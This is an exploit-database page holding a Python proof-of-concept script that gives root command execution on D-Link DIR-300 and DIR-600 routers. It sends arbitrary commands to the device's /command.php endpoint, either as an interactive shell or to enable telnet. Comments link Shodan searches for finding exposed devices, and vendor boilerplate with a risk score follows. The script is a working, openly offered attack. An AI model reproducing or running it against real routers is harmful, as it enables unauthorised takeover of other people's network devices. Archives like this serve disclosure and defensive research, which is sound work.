D-LINK DIR-300 / DIR-600 Remote Root Exploit
#!/usr/bin/python
# D-LINK TOTAL FAIL
# http://www.s3cur1ty.de/m1adv2013-003
# Another Shit PoC by infodox
# SHODANS BELOW
# http://www.shodanhq.com/search?q=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-300
# http://www.shodanhq.com/search?q=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-600
# Who knew a shell could be so easy?
import sys
import requests
import os
if len(sys.argv) != 3:
print "Usage: ./dlinkroot.py <target> <mode>"
print "Modes: shell or telnetenable"
print "I was lazy so I assume you have a telnet client"
sys.exit(0)
target = sys.argv[1]
mode = sys.argv[2]
def shell(target):
print "[+] Connecting and spawning a shell..."
while True:
try:
bobcat = raw_input("%s:~# " %(target))
lulz = "cmd=%s;" %(bobcat)
url = "http://" + target + "/command.php"
hax = requests.post(url, lulz)
print hax.text
except KeyboardInterrupt:
print "\n[-] Quitting"
sys.exit(1)
def telnetenable(target):
lulz = "cmd=telnetd;"
url = "http://" + target + "/command.php"
print "[+] Trying to enable telnet"
try:
hax = requests.post(url, lulz)
print hax.text
except Exception:
print "[-] IT FAILED IT!"
sys.exit(0)
print "[+] Doing a telnet"
try:
os.system('telnet %s') %(target)
except Exception:
print "[-] IT FAILED IT!"
sys.exit(1)
if mode == "shell":
shell(target)
elif mode == "telnetenable":
telnetenable(target)
else:
print "[:(] WHAT THE FUCK YOU'RE DOING IT WRONG!"
# 0day.today [2018-03-14] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Feb 2013 00:00Current
7High risk
Vulners AI Score7